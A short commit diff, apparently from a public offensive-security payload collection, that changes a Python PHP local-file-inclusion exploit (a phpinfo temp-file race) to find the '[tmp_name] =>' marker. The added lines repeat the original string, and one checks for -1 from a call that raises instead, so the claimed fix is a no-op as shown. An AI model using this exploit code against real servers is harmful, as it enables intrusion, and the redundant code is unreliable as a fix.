Fix character matching for '>' and its URL entity encoding from @CaoZnZZ

This commit is contained in:
Swissky 2023-10-10 13:56:57 +02:00
parent dd7525dc8f
commit 7f1823efbe

View File

@ -53,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
if i == -1:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
@ -111,6 +113,8 @@ def getOffset(host, port, phpinforeq):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")